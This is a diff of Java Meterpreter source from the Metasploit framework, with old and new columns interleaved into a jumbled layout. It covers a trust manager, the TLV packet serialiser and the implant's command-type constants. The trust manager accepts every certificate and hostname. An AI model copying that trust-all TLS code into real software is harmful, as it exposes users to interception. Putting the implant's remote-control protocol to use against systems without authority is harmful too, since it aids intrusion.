HttpsURLConnection huc = ((HttpsURLConnection) uc); * Called by the {@link Payload} class to modify the given
if (instance == null) { * {@link URLConnection} so that it uses this trust manager.
instance = new PayloadTrustManager(); */
SSLContext sc = SSLContext.getInstance("SSL"); public static synchronized void useFor(URLConnection uc) throws Exception {
sc.init(null, new TrustManager[] { instance }, new java.security.SecureRandom()); if (uc instanceof HttpsURLConnection) {
factory = sc.getSocketFactory(); HttpsURLConnection huc = ((HttpsURLConnection) uc);
} if (instance == null) {
huc.setSSLSocketFactory(factory); instance = new PayloadTrustManager();
huc.setHostnameVerifier(instance); SSLContext sc = SSLContext.getInstance("SSL");
} sc.init(null, new TrustManager[]{instance}, new java.security.SecureRandom());
} factory = sc.getSocketFactory();
}
huc.setSSLSocketFactory(factory);
huc.setHostnameVerifier(instance);
}
}
} }

@ -19,304 +19,301 @@ import java.util.Map;
*/ */
public class TLVPacket { public class TLVPacket {
// constants // constants
public static final int TLV_META_TYPE_NONE = 0; public static final int TLV_META_TYPE_NONE = 0;
public static final int TLV_META_TYPE_STRING = (1 << 16); public static final int TLV_META_TYPE_STRING = (1 << 16);
public static final int TLV_META_TYPE_UINT = (1 << 17); public static final int TLV_META_TYPE_UINT = (1 << 17);
public static final int TLV_META_TYPE_RAW = (1 << 18); public static final int TLV_META_TYPE_RAW = (1 << 18);
public static final int TLV_META_TYPE_BOOL = (1 << 19); public static final int TLV_META_TYPE_BOOL = (1 << 19);
public static final int TLV_META_TYPE_QWORD = (1 << 20); public static final int TLV_META_TYPE_QWORD = (1 << 20);
public static final int TLV_META_TYPE_COMPRESSED = (1 << 29); public static final int TLV_META_TYPE_COMPRESSED = (1 << 29);
public static final int TLV_META_TYPE_GROUP = (1 << 30); public static final int TLV_META_TYPE_GROUP = (1 << 30);
public static final int TLV_META_TYPE_COMPLEX = (1 << 31); public static final int TLV_META_TYPE_COMPLEX = (1 << 31);
// not defined in original // not defined in original
public static final int TLV_META_TYPE_MASK = (1 << 31) + (1 << 30) + (1 << 29) + (1 << 19) + (1 << 18) + (1 << 17) + (1 << 16); public static final int TLV_META_TYPE_MASK = (1 << 31) + (1 << 30) + (1 << 29) + (1 << 19) + (1 << 18) + (1 << 17) + (1 << 16);
/** /**
* A list of {@link Integer} values that represent the order of the TLV value types for serializing the current package. * A list of {@link Integer} values that represent the order of the TLV value types for serializing the current package.
*/ */
private List/* <Integer> */typeOrder = new ArrayList(); private List/* <Integer> */typeOrder = new ArrayList();
/** /**
* A list of objects that represent the values stored in the package. * A list of objects that represent the values stored in the package.
*/ */
private List/* <Integer> */valueList = new ArrayList(); private List/* <Integer> */valueList = new ArrayList();
/** /**
* A map, mapping the types (as {@link Integer} objects) to an {@link ArrayList} of {@link Integer} values that respresent the index into the valueList array. * A map, mapping the types (as {@link Integer} objects) to an {@link ArrayList} of {@link Integer} values that respresent the index into the valueList array.
*/ */
private Map/* <Integer,ArrayList> */valueMap = new HashMap(); private Map/* <Integer,ArrayList> */valueMap = new HashMap();
/** /**
* A list of additionals types/values to be added to the end of the packet. Here packet types may appear more than once, but they cannot be read again with this class. * A list of additionals types/values to be added to the end of the packet. Here packet types may appear more than once, but they cannot be read again with this class.
*/ */
private List/* <Integer/Object> */overflowList = new ArrayList(); private List/* <Integer/Object> */overflowList = new ArrayList();
/** /**
* Construct a new empty TLV packet. * Construct a new empty TLV packet.
*/ */
public TLVPacket() { public TLVPacket() {
} }
/** /**
* Read a TLV packet from an input stream. * Read a TLV packet from an input stream.
* *
* @param in * @param in Input stream to read from
* Input stream to read from * @param remaining length of the packet to read in bytes
* @param remaining * @throws IOException if an error occurs
* length of the packet to read in bytes */
* @throws IOException public TLVPacket(DataInputStream in, int remaining) throws IOException {
* if an error occurs while (remaining > 0) {
*/ int len = in.readInt();
public TLVPacket(DataInputStream in, int remaining) throws IOException { int type = in.readInt();
while (remaining > 0) { if (len > remaining)
int len = in.readInt(); break;
int type = in.readInt(); byte[] data = new byte[len - 8];
if (len > remaining) remaining -= len;
break; Object value;
byte[] data = new byte[len - 8]; if ((type & TLV_META_TYPE_COMPRESSED) != 0) {
remaining -= len; in.readFully(data);
Object value; value = data;
if ((type & TLV_META_TYPE_COMPRESSED) != 0) { } else if ((type & TLV_META_TYPE_STRING) != 0) {
in.readFully(data); in.readFully(data);
value = data; String string = new String(data, "UTF-8");
} else if ((type & TLV_META_TYPE_STRING) != 0) { if (!string.endsWith("\0"))
in.readFully(data); throw new IOException("C string is not 0 terminated: " + string);
String string = new String(data, "UTF-8"); string = string.substring(0, string.length() - 1);
if (!string.endsWith("\0")) if (string.indexOf('\0') != -1)
throw new IOException("C string is not 0 terminated: " + string); throw new IOException("Embedded null detected: " + string);
string = string.substring(0, string.length() - 1); value = string;
if (string.indexOf('\0') != -1) } else if ((type & TLV_META_TYPE_QWORD) != 0 && len == 16) {
throw new IOException("Embedded null detected: " + string); value = new Long(in.readLong());
value = string; } else if ((type & TLV_META_TYPE_UINT) != 0 && len == 12) {
} else if ((type & TLV_META_TYPE_QWORD) != 0 && len == 16) { value = new Integer(in.readInt());
value = new Long(in.readLong()); } else if ((type & TLV_META_TYPE_BOOL) != 0 && len == 9) {
} else if ((type & TLV_META_TYPE_UINT) != 0 && len == 12) { value = new Boolean(in.readBoolean());
value = new Integer(in.readInt()); } else if ((type & TLV_META_TYPE_RAW) != 0) {
} else if ((type & TLV_META_TYPE_BOOL) != 0 && len == 9) { in.readFully(data);
value = new Boolean(in.readBoolean()); value = data;
} else if ((type & TLV_META_TYPE_RAW) != 0) { } else if ((type & TLV_META_TYPE_GROUP) != 0) {
in.readFully(data); in.readFully(data);
value = data; DataInputStream dis = new DataInputStream(new ByteArrayInputStream(data));
} else if ((type & TLV_META_TYPE_GROUP) != 0) { value = new TLVPacket(dis, data.length);
in.readFully(data); dis.close();
DataInputStream dis = new DataInputStream(new ByteArrayInputStream(data)); } else if ((type & TLV_META_TYPE_COMPLEX) != 0) {
value = new TLVPacket(dis, data.length); in.readFully(data);
dis.close(); value = data;
} else if ((type & TLV_META_TYPE_COMPLEX) != 0) { } else {
in.readFully(data); throw new IOException("Unsupported type: " + type + "/" + len);
value = data; }
} else { add(type, value);
throw new IOException("Unsupported type: " + type + "/" + len); }
} if (remaining != 0) {
add(type, value); throw new IOException("Incomplete packets detected");
} }
if (remaining != 0) { }
throw new IOException("Incomplete packets detected");
}
}
/** /**
* Add a TLV value to this object. * Add a TLV value to this object.
*/ */
public void add(int type, Object value) throws IOException { public void add(int type, Object value) throws IOException {
ArrayList indices = null; ArrayList indices = null;
Integer typeObj = new Integer(type); Integer typeObj = new Integer(type);
typeOrder.add(typeObj); typeOrder.add(typeObj);
if (valueMap.containsKey(typeObj)) { if (valueMap.containsKey(typeObj)) {
indices = (ArrayList)valueMap.get(typeObj); indices = (ArrayList) valueMap.get(typeObj);
} else { } else {
indices = new ArrayList(); indices = new ArrayList();
valueMap.put(typeObj, indices); valueMap.put(typeObj, indices);
} }
// add the index of the new element to the list of indices for the object // add the index of the new element to the list of indices for the object
indices.add(new Integer(valueList.size())); indices.add(new Integer(valueList.size()));
// add the value to the list of values that make up the object // add the value to the list of values that make up the object
valueList.add(value); valueList.add(value);
} }
/** /**
* Add an element to the overflow list. * Add an element to the overflow list.
*/ */
public void addOverflow(int type, Object value) throws IOException { public void addOverflow(int type, Object value) throws IOException {
overflowList.add(new Integer(type)); overflowList.add(new Integer(type));
overflowList.add(value); overflowList.add(value);
} }
/** /**
* Add a TLV value to this object. * Add a TLV value to this object.
*/ */
public void add(int type, long value) throws IOException { public void add(int type, long value) throws IOException {
add(type, new Long(value)); add(type, new Long(value));
} }
/** /**
* Add a TLV value to this object. * Add a TLV value to this object.
*/ */
public void add(int type, int value) throws IOException { public void add(int type, int value) throws IOException {
add(type, new Integer(value)); add(type, new Integer(value));
} }
/** /**
* Add a TLV value to this object. * Add a TLV value to this object.
*/ */
public void add(int type, boolean value) throws IOException { public void add(int type, boolean value) throws IOException {
add(type, new Boolean(value)); add(type, new Boolean(value));
} }
/** /**
* Get the types and their order in this packet, as an immutable list. * Get the types and their order in this packet, as an immutable list.
*/ */
public List getTypeOrder() { public List getTypeOrder() {
return Collections.unmodifiableList(typeOrder); return Collections.unmodifiableList(typeOrder);
} }
/** /**
* Get the value associated to a type. * Get the value associated to a type.
*/ */
public Object getValue(int type) { public Object getValue(int type) {
ArrayList indices = (ArrayList)valueMap.get(new Integer(type)); ArrayList indices = (ArrayList) valueMap.get(new Integer(type));
if (indices == null) if (indices == null)
throw new IllegalArgumentException("Cannot find type " + type); throw new IllegalArgumentException("Cannot find type " + type);
// the indices variable is an ArrayList so by default return the first to // the indices variable is an ArrayList so by default return the first to
// preserve existing behaviour. // preserve existing behaviour.
return valueList.get(((Integer)indices.get(0)).intValue()); return valueList.get(((Integer) indices.get(0)).intValue());
} }
/** /**
* Get the list of values associated to a type. * Get the list of values associated to a type.
*/ */
public List getValues(int type) { public List getValues(int type) {
ArrayList values = new ArrayList(); ArrayList values = new ArrayList();
ArrayList indices = (ArrayList)valueMap.get(new Integer(type)); ArrayList indices = (ArrayList) valueMap.get(new Integer(type));
if (indices == null) if (indices == null)
throw new IllegalArgumentException("Cannot find type " + type); throw new IllegalArgumentException("Cannot find type " + type);
for (int i = 0; i < indices.size(); ++i) { for (int i = 0; i < indices.size(); ++i) {
values.add(valueList.get(((Integer)indices.get(i)).intValue())); values.add(valueList.get(((Integer) indices.get(i)).intValue()));
} }
return values; return values;
} }
/** /**
* Get the value associated to a type. * Get the value associated to a type.
*/ */
public Object getValue(int type, Object defaultValue) { public Object getValue(int type, Object defaultValue) {
ArrayList indices = (ArrayList)valueMap.get(new Integer(type)); ArrayList indices = (ArrayList) valueMap.get(new Integer(type));
if (indices == null) if (indices == null)
return defaultValue; return defaultValue;
// the indices variable is an ArrayList so by default return the first to // the indices variable is an ArrayList so by default return the first to
// preserve existing behaviour. // preserve existing behaviour.
return valueList.get(((Integer)indices.get(0)).intValue()); return valueList.get(((Integer) indices.get(0)).intValue());
} }
/** /**
* Get the value associated to a type as a {@link String}. * Get the value associated to a type as a {@link String}.
*/ */
public String getStringValue(int type) { public String getStringValue(int type) {
return (String) getValue(type); return (String) getValue(type);
} }
/** /**
* Get the value associated to a type as a {@link String}, or a default value if the value does not exist. * Get the value associated to a type as a {@link String}, or a default value if the value does not exist.
*/ */
public String getStringValue(int type, String defaultValue) { public String getStringValue(int type, String defaultValue) {
return (String) getValue(type, defaultValue); return (String) getValue(type, defaultValue);
} }
/** /**
* Get the value associated to a type as an int. * Get the value associated to a type as an int.
*/ */
public long getLongValue(int type) { public long getLongValue(int type) {
return ((Long) getValue(type)).longValue(); return ((Long) getValue(type)).longValue();
} }
/** /**
* Get the value associated to a type as an int. * Get the value associated to a type as an int.
*/ */
public int getIntValue(int type) { public int getIntValue(int type) {
return ((Integer) getValue(type)).intValue(); return ((Integer) getValue(type)).intValue();
} }
/** /**
* Get the value associated to a type as a boolean. * Get the value associated to a type as a boolean.
*/ */
public boolean getBooleanValue(int type) { public boolean getBooleanValue(int type) {
return ((Boolean) getValue(type)).booleanValue(); return ((Boolean) getValue(type)).booleanValue();
} }
/** /**
* Get the value associated to a type as a byte array. * Get the value associated to a type as a byte array.
*/ */
public byte[] getRawValue(int type) { public byte[] getRawValue(int type) {
return (byte[]) getValue(type); return (byte[]) getValue(type);
} }
/** /**
* Write all the values to an output stream. * Write all the values to an output stream.
*/ */
public void write(DataOutputStream out) throws IOException { public void write(DataOutputStream out) throws IOException {
for (Iterator it = typeOrder.iterator(); it.hasNext();) { for (Iterator it = typeOrder.iterator(); it.hasNext(); ) {
Integer typeKey = (Integer) it.next(); Integer typeKey = (Integer) it.next();
int type = typeKey.intValue(); int type = typeKey.intValue();
Object value = getValue(type); Object value = getValue(type);
write(out, type, value); write(out, type, value);
} }
for (Iterator it = overflowList.iterator(); it.hasNext();) { for (Iterator it = overflowList.iterator(); it.hasNext(); ) {
Integer typeKey = (Integer) it.next(); Integer typeKey = (Integer) it.next();
int type = typeKey.intValue(); int type = typeKey.intValue();
Object value = it.next(); Object value = it.next();
write(out, type, value); write(out, type, value);
} }
} }
/** /**
* Write a single value to an output stream. * Write a single value to an output stream.
*/ */
private static void write(DataOutputStream out, int type, Object value) throws IOException { private static void write(DataOutputStream out, int type, Object value) throws IOException {
byte[] data; byte[] data;
if ((type & TLV_META_TYPE_STRING) != 0) { if ((type & TLV_META_TYPE_STRING) != 0) {
data = ((String) value + "\0").getBytes("UTF-8"); data = ((String) value + "\0").getBytes("UTF-8");
} else if ((type & TLV_META_TYPE_QWORD) != 0) { } else if ((type & TLV_META_TYPE_QWORD) != 0) {
out.writeInt(16); out.writeInt(16);
out.writeInt(type); out.writeInt(type);
out.writeLong(((Long) value).longValue()); out.writeLong(((Long) value).longValue());
return; return;
} else if ((type & TLV_META_TYPE_UINT) != 0) { } else if ((type & TLV_META_TYPE_UINT) != 0) {
out.writeInt(12); out.writeInt(12);
out.writeInt(type); out.writeInt(type);
out.writeInt(((Integer) value).intValue()); out.writeInt(((Integer) value).intValue());
return; return;
} else if ((type & TLV_META_TYPE_BOOL) != 0) { } else if ((type & TLV_META_TYPE_BOOL) != 0) {
out.writeInt(9); out.writeInt(9);
out.writeInt(type); out.writeInt(type);
out.writeBoolean(((Boolean) value).booleanValue()); out.writeBoolean(((Boolean) value).booleanValue());
return; return;
} else if ((type & TLV_META_TYPE_RAW) != 0) { } else if ((type & TLV_META_TYPE_RAW) != 0) {
data = (byte[]) value; data = (byte[]) value;
} else if ((type & TLV_META_TYPE_GROUP) != 0) { } else if ((type & TLV_META_TYPE_GROUP) != 0) {
data = ((TLVPacket) value).toByteArray(); data = ((TLVPacket) value).toByteArray();
} else if ((type & TLV_META_TYPE_COMPLEX) != 0) { } else if ((type & TLV_META_TYPE_COMPLEX) != 0) {
data = (byte[]) value; data = (byte[]) value;
} else { } else {
throw new IOException("Unsupported type: " + type); throw new IOException("Unsupported type: " + type);
} }
out.writeInt(8 + data.length); out.writeInt(8 + data.length);
out.writeInt(type); out.writeInt(type);
out.write(data); out.write(data);
} }
/** /**
* Convert all the values to a byte array. * Convert all the values to a byte array.
*/ */
public byte[] toByteArray() throws IOException { public byte[] toByteArray() throws IOException {
ByteArrayOutputStream baos = new ByteArrayOutputStream(); ByteArrayOutputStream baos = new ByteArrayOutputStream();
write(new DataOutputStream(baos)); write(new DataOutputStream(baos));
return baos.toByteArray(); return baos.toByteArray();
} }
} }

@ -2,182 +2,182 @@ package com.metasploit.meterpreter;
/** /**
* All defined TLV types. * All defined TLV types.
* * <p/>
* TLV meta types are defined in the {@link TLVPacket} class. * TLV meta types are defined in the {@link TLVPacket} class.
* *
* @author mihi * @author mihi
*/ */
public interface TLVType { public interface TLVType {
// TLV Specific Types // TLV Specific Types
public static final int TLV_TYPE_ANY = TLVPacket.TLV_META_TYPE_NONE | 0; public static final int TLV_TYPE_ANY = TLVPacket.TLV_META_TYPE_NONE | 0;
public static final int TLV_TYPE_METHOD = TLVPacket.TLV_META_TYPE_STRING | 1; public static final int TLV_TYPE_METHOD = TLVPacket.TLV_META_TYPE_STRING | 1;
public static final int TLV_TYPE_REQUEST_ID = TLVPacket.TLV_META_TYPE_STRING | 2; public static final int TLV_TYPE_REQUEST_ID = TLVPacket.TLV_META_TYPE_STRING | 2;
public static final int TLV_TYPE_EXCEPTION = TLVPacket.TLV_META_TYPE_GROUP | 3; public static final int TLV_TYPE_EXCEPTION = TLVPacket.TLV_META_TYPE_GROUP | 3;
public static final int TLV_TYPE_RESULT = TLVPacket.TLV_META_TYPE_UINT | 4; public static final int TLV_TYPE_RESULT = TLVPacket.TLV_META_TYPE_UINT | 4;
public static final int TLV_TYPE_STRING = TLVPacket.TLV_META_TYPE_STRING | 10; public static final int TLV_TYPE_STRING = TLVPacket.TLV_META_TYPE_STRING | 10;
public static final int TLV_TYPE_UINT = TLVPacket.TLV_META_TYPE_UINT | 11; public static final int TLV_TYPE_UINT = TLVPacket.TLV_META_TYPE_UINT | 11;
public static final int TLV_TYPE_BOOL = TLVPacket.TLV_META_TYPE_BOOL | 12; public static final int TLV_TYPE_BOOL = TLVPacket.TLV_META_TYPE_BOOL | 12;
public static final int TLV_TYPE_LENGTH = TLVPacket.TLV_META_TYPE_UINT | 25; public static final int TLV_TYPE_LENGTH = TLVPacket.TLV_META_TYPE_UINT | 25;
public static final int TLV_TYPE_DATA = TLVPacket.TLV_META_TYPE_RAW | 26; public static final int TLV_TYPE_DATA = TLVPacket.TLV_META_TYPE_RAW | 26;
public static final int TLV_TYPE_FLAGS = TLVPacket.TLV_META_TYPE_UINT | 27; public static final int TLV_TYPE_FLAGS = TLVPacket.TLV_META_TYPE_UINT | 27;
public static final int TLV_TYPE_CHANNEL_ID = TLVPacket.TLV_META_TYPE_UINT | 50; public static final int TLV_TYPE_CHANNEL_ID = TLVPacket.TLV_META_TYPE_UINT | 50;
public static final int TLV_TYPE_CHANNEL_TYPE = TLVPacket.TLV_META_TYPE_STRING | 51; public static final int TLV_TYPE_CHANNEL_TYPE = TLVPacket.TLV_META_TYPE_STRING | 51;
public static final int TLV_TYPE_CHANNEL_DATA = TLVPacket.TLV_META_TYPE_RAW | 52; public static final int TLV_TYPE_CHANNEL_DATA = TLVPacket.TLV_META_TYPE_RAW | 52;
public static final int TLV_TYPE_CHANNEL_DATA_GROUP = TLVPacket.TLV_META_TYPE_GROUP | 53; public static final int TLV_TYPE_CHANNEL_DATA_GROUP = TLVPacket.TLV_META_TYPE_GROUP | 53;
public static final int TLV_TYPE_CHANNEL_CLASS = TLVPacket.TLV_META_TYPE_UINT | 54; public static final int TLV_TYPE_CHANNEL_CLASS = TLVPacket.TLV_META_TYPE_UINT | 54;
public static final int TLV_TYPE_CHANNEL_PARENTID = TLVPacket.TLV_META_TYPE_UINT | 55; public static final int TLV_TYPE_CHANNEL_PARENTID = TLVPacket.TLV_META_TYPE_UINT | 55;
public static final int TLV_TYPE_SEEK_WHENCE = TLVPacket.TLV_META_TYPE_UINT | 70; public static final int TLV_TYPE_SEEK_WHENCE = TLVPacket.TLV_META_TYPE_UINT | 70;
public static final int TLV_TYPE_SEEK_OFFSET = TLVPacket.TLV_META_TYPE_UINT | 71; public static final int TLV_TYPE_SEEK_OFFSET = TLVPacket.TLV_META_TYPE_UINT | 71;
public static final int TLV_TYPE_SEEK_POS = TLVPacket.TLV_META_TYPE_UINT | 72; public static final int TLV_TYPE_SEEK_POS = TLVPacket.TLV_META_TYPE_UINT | 72;
public static final int TLV_TYPE_EXCEPTION_CODE = TLVPacket.TLV_META_TYPE_UINT | 300; public static final int TLV_TYPE_EXCEPTION_CODE = TLVPacket.TLV_META_TYPE_UINT | 300;
public static final int TLV_TYPE_EXCEPTION_STRING = TLVPacket.TLV_META_TYPE_STRING | 301; public static final int TLV_TYPE_EXCEPTION_STRING = TLVPacket.TLV_META_TYPE_STRING | 301;
public static final int TLV_TYPE_LIBRARY_PATH = TLVPacket.TLV_META_TYPE_STRING | 400; public static final int TLV_TYPE_LIBRARY_PATH = TLVPacket.TLV_META_TYPE_STRING | 400;
public static final int TLV_TYPE_TARGET_PATH = TLVPacket.TLV_META_TYPE_STRING | 401; public static final int TLV_TYPE_TARGET_PATH = TLVPacket.TLV_META_TYPE_STRING | 401;
public static final int TLV_TYPE_MIGRATE_PID = TLVPacket.TLV_META_TYPE_UINT | 402; public static final int TLV_TYPE_MIGRATE_PID = TLVPacket.TLV_META_TYPE_UINT | 402;
public static final int TLV_TYPE_MIGRATE_LEN = TLVPacket.TLV_META_TYPE_UINT | 403; public static final int TLV_TYPE_MIGRATE_LEN = TLVPacket.TLV_META_TYPE_UINT | 403;
public static final int TLV_TYPE_CIPHER_NAME = TLVPacket.TLV_META_TYPE_STRING | 500; public static final int TLV_TYPE_CIPHER_NAME = TLVPacket.TLV_META_TYPE_STRING | 500;
public static final int TLV_TYPE_CIPHER_PARAMETERS = TLVPacket.TLV_META_TYPE_GROUP | 501; public static final int TLV_TYPE_CIPHER_PARAMETERS = TLVPacket.TLV_META_TYPE_GROUP | 501;
// General // General
public static final int TLV_TYPE_HANDLE = TLVPacket.TLV_META_TYPE_QWORD | 600; public static final int TLV_TYPE_HANDLE = TLVPacket.TLV_META_TYPE_QWORD | 600;
public static final int TLV_TYPE_INHERIT = TLVPacket.TLV_META_TYPE_BOOL | 601; public static final int TLV_TYPE_INHERIT = TLVPacket.TLV_META_TYPE_BOOL | 601;
public static final int TLV_TYPE_PROCESS_HANDLE = TLVPacket.TLV_META_TYPE_QWORD | 630; public static final int TLV_TYPE_PROCESS_HANDLE = TLVPacket.TLV_META_TYPE_QWORD | 630;
public static final int TLV_TYPE_THREAD_HANDLE = TLVPacket.TLV_META_TYPE_QWORD | 631; public static final int TLV_TYPE_THREAD_HANDLE = TLVPacket.TLV_META_TYPE_QWORD | 631;
// Fs // Fs
public static final int TLV_TYPE_DIRECTORY_PATH = TLVPacket.TLV_META_TYPE_STRING | 1200; public static final int TLV_TYPE_DIRECTORY_PATH = TLVPacket.TLV_META_TYPE_STRING | 1200;
public static final int TLV_TYPE_FILE_NAME = TLVPacket.TLV_META_TYPE_STRING | 1201; public static final int TLV_TYPE_FILE_NAME = TLVPacket.TLV_META_TYPE_STRING | 1201;
public static final int TLV_TYPE_FILE_PATH = TLVPacket.TLV_META_TYPE_STRING | 1202; public static final int TLV_TYPE_FILE_PATH = TLVPacket.TLV_META_TYPE_STRING | 1202;
public static final int TLV_TYPE_FILE_MODE = TLVPacket.TLV_META_TYPE_STRING | 1203; public static final int TLV_TYPE_FILE_MODE = TLVPacket.TLV_META_TYPE_STRING | 1203;
public static final int TLV_TYPE_FILE_HASH = TLVPacket.TLV_META_TYPE_RAW | 1206; public static final int TLV_TYPE_FILE_HASH = TLVPacket.TLV_META_TYPE_RAW | 1206;
public static final int TLV_TYPE_STAT_BUF = TLVPacket.TLV_META_TYPE_COMPLEX | 1220; public static final int TLV_TYPE_STAT_BUF = TLVPacket.TLV_META_TYPE_COMPLEX | 1220;
// Net // Net
public static final int TLV_TYPE_HOST_NAME = TLVPacket.TLV_META_TYPE_STRING | 1400; public static final int TLV_TYPE_HOST_NAME = TLVPacket.TLV_META_TYPE_STRING | 1400;
public static final int TLV_TYPE_PORT = TLVPacket.TLV_META_TYPE_UINT | 1401; public static final int TLV_TYPE_PORT = TLVPacket.TLV_META_TYPE_UINT | 1401;
public static final int TLV_TYPE_MTU = TLVPacket.TLV_META_TYPE_UINT | 1402; public static final int TLV_TYPE_MTU = TLVPacket.TLV_META_TYPE_UINT | 1402;
public static final int TLV_TYPE_INTERFACE_INDEX = TLVPacket.TLV_META_TYPE_UINT | 1404; public static final int TLV_TYPE_INTERFACE_INDEX = TLVPacket.TLV_META_TYPE_UINT | 1404;
public static final int TLV_TYPE_SUBNET = TLVPacket.TLV_META_TYPE_RAW | 1420; public static final int TLV_TYPE_SUBNET = TLVPacket.TLV_META_TYPE_RAW | 1420;
public static final int TLV_TYPE_NETMASK = TLVPacket.TLV_META_TYPE_RAW | 1421; public static final int TLV_TYPE_NETMASK = TLVPacket.TLV_META_TYPE_RAW | 1421;
public static final int TLV_TYPE_GATEWAY = TLVPacket.TLV_META_TYPE_RAW | 1422; public static final int TLV_TYPE_GATEWAY = TLVPacket.TLV_META_TYPE_RAW | 1422;
public static final int TLV_TYPE_NETWORK_ROUTE = TLVPacket.TLV_META_TYPE_GROUP | 1423; public static final int TLV_TYPE_NETWORK_ROUTE = TLVPacket.TLV_META_TYPE_GROUP | 1423;
public static final int TLV_TYPE_IP_PREFIX = TLVPacket.TLV_META_TYPE_UINT | 1424; public static final int TLV_TYPE_IP_PREFIX = TLVPacket.TLV_META_TYPE_UINT | 1424;
public static final int TLV_TYPE_IP = TLVPacket.TLV_META_TYPE_RAW | 1430; public static final int TLV_TYPE_IP = TLVPacket.TLV_META_TYPE_RAW | 1430;
public static final int TLV_TYPE_MAC_ADDRESS = TLVPacket.TLV_META_TYPE_RAW | 1431; public static final int TLV_TYPE_MAC_ADDRESS = TLVPacket.TLV_META_TYPE_RAW | 1431;
public static final int TLV_TYPE_MAC_NAME = TLVPacket.TLV_META_TYPE_STRING | 1432; public static final int TLV_TYPE_MAC_NAME = TLVPacket.TLV_META_TYPE_STRING | 1432;
public static final int TLV_TYPE_NETWORK_INTERFACE = TLVPacket.TLV_META_TYPE_GROUP | 1433; public static final int TLV_TYPE_NETWORK_INTERFACE = TLVPacket.TLV_META_TYPE_GROUP | 1433;
public static final int TLV_TYPE_IP6_SCOPE = TLVPacket.TLV_META_TYPE_RAW | 1434; public static final int TLV_TYPE_IP6_SCOPE = TLVPacket.TLV_META_TYPE_RAW | 1434;
public static final int TLV_TYPE_SUBNET_STRING = TLVPacket.TLV_META_TYPE_STRING | 1440; public static final int TLV_TYPE_SUBNET_STRING = TLVPacket.TLV_META_TYPE_STRING | 1440;
public static final int TLV_TYPE_NETMASK_STRING = TLVPacket.TLV_META_TYPE_STRING | 1441; public static final int TLV_TYPE_NETMASK_STRING = TLVPacket.TLV_META_TYPE_STRING | 1441;
public static final int TLV_TYPE_GATEWAY_STRING = TLVPacket.TLV_META_TYPE_STRING | 1442; public static final int TLV_TYPE_GATEWAY_STRING = TLVPacket.TLV_META_TYPE_STRING | 1442;
// Socket // Socket
public static final int TLV_TYPE_PEER_HOST = TLVPacket.TLV_META_TYPE_STRING | 1500; public static final int TLV_TYPE_PEER_HOST = TLVPacket.TLV_META_TYPE_STRING | 1500;
public static final int TLV_TYPE_PEER_PORT = TLVPacket.TLV_META_TYPE_UINT | 1501; public static final int TLV_TYPE_PEER_PORT = TLVPacket.TLV_META_TYPE_UINT | 1501;
public static final int TLV_TYPE_LOCAL_HOST = TLVPacket.TLV_META_TYPE_STRING | 1502; public static final int TLV_TYPE_LOCAL_HOST = TLVPacket.TLV_META_TYPE_STRING | 1502;
public static final int TLV_TYPE_LOCAL_PORT = TLVPacket.TLV_META_TYPE_UINT | 1503; public static final int TLV_TYPE_LOCAL_PORT = TLVPacket.TLV_META_TYPE_UINT | 1503;
public static final int TLV_TYPE_CONNECT_RETRIES = TLVPacket.TLV_META_TYPE_UINT | 1504; public static final int TLV_TYPE_CONNECT_RETRIES = TLVPacket.TLV_META_TYPE_UINT | 1504;
public static final int TLV_TYPE_SHUTDOWN_HOW = TLVPacket.TLV_META_TYPE_UINT | 1530; public static final int TLV_TYPE_SHUTDOWN_HOW = TLVPacket.TLV_META_TYPE_UINT | 1530;
// Registry // Registry
public static final int TLV_TYPE_HKEY = TLVPacket.TLV_META_TYPE_QWORD | 1000; public static final int TLV_TYPE_HKEY = TLVPacket.TLV_META_TYPE_QWORD | 1000;
public static final int TLV_TYPE_ROOT_KEY = TLV_TYPE_HKEY; public static final int TLV_TYPE_ROOT_KEY = TLV_TYPE_HKEY;
public static final int TLV_TYPE_BASE_KEY = TLVPacket.TLV_META_TYPE_STRING | 1001; public static final int TLV_TYPE_BASE_KEY = TLVPacket.TLV_META_TYPE_STRING | 1001;
public static final int TLV_TYPE_PERMISSION = TLVPacket.TLV_META_TYPE_UINT | 1002; public static final int TLV_TYPE_PERMISSION = TLVPacket.TLV_META_TYPE_UINT | 1002;
public static final int TLV_TYPE_KEY_NAME = TLVPacket.TLV_META_TYPE_STRING | 1003; public static final int TLV_TYPE_KEY_NAME = TLVPacket.TLV_META_TYPE_STRING | 1003;
public static final int TLV_TYPE_VALUE_NAME = TLVPacket.TLV_META_TYPE_STRING | 1010; public static final int TLV_TYPE_VALUE_NAME = TLVPacket.TLV_META_TYPE_STRING | 1010;
public static final int TLV_TYPE_VALUE_TYPE = TLVPacket.TLV_META_TYPE_UINT | 1011; public static final int TLV_TYPE_VALUE_TYPE = TLVPacket.TLV_META_TYPE_UINT | 1011;
public static final int TLV_TYPE_VALUE_DATA = TLVPacket.TLV_META_TYPE_RAW | 1012; public static final int TLV_TYPE_VALUE_DATA = TLVPacket.TLV_META_TYPE_RAW | 1012;
// Config // Config
public static final int TLV_TYPE_COMPUTER_NAME = TLVPacket.TLV_META_TYPE_STRING | 1040; public static final int TLV_TYPE_COMPUTER_NAME = TLVPacket.TLV_META_TYPE_STRING | 1040;
public static final int TLV_TYPE_OS_NAME = TLVPacket.TLV_META_TYPE_STRING | 1041; public static final int TLV_TYPE_OS_NAME = TLVPacket.TLV_META_TYPE_STRING | 1041;
public static final int TLV_TYPE_USER_NAME = TLVPacket.TLV_META_TYPE_STRING | 1042; public static final int TLV_TYPE_USER_NAME = TLVPacket.TLV_META_TYPE_STRING | 1042;
public static final int TLV_TYPE_ENV_VARIABLE = TLVPacket.TLV_META_TYPE_STRING | 1100; public static final int TLV_TYPE_ENV_VARIABLE = TLVPacket.TLV_META_TYPE_STRING | 1100;
public static final int TLV_TYPE_ENV_VALUE = TLVPacket.TLV_META_TYPE_STRING | 1101; public static final int TLV_TYPE_ENV_VALUE = TLVPacket.TLV_META_TYPE_STRING | 1101;
public static final int TLV_TYPE_ENV_GROUP = TLVPacket.TLV_META_TYPE_GROUP | 1102; public static final int TLV_TYPE_ENV_GROUP = TLVPacket.TLV_META_TYPE_GROUP | 1102;
// Process // Process
public static final int TLV_TYPE_BASE_ADDRESS = TLVPacket.TLV_META_TYPE_QWORD | 2000; public static final int TLV_TYPE_BASE_ADDRESS = TLVPacket.TLV_META_TYPE_QWORD | 2000;
public static final int TLV_TYPE_ALLOCATION_TYPE = TLVPacket.TLV_META_TYPE_UINT | 2001; public static final int TLV_TYPE_ALLOCATION_TYPE = TLVPacket.TLV_META_TYPE_UINT | 2001;
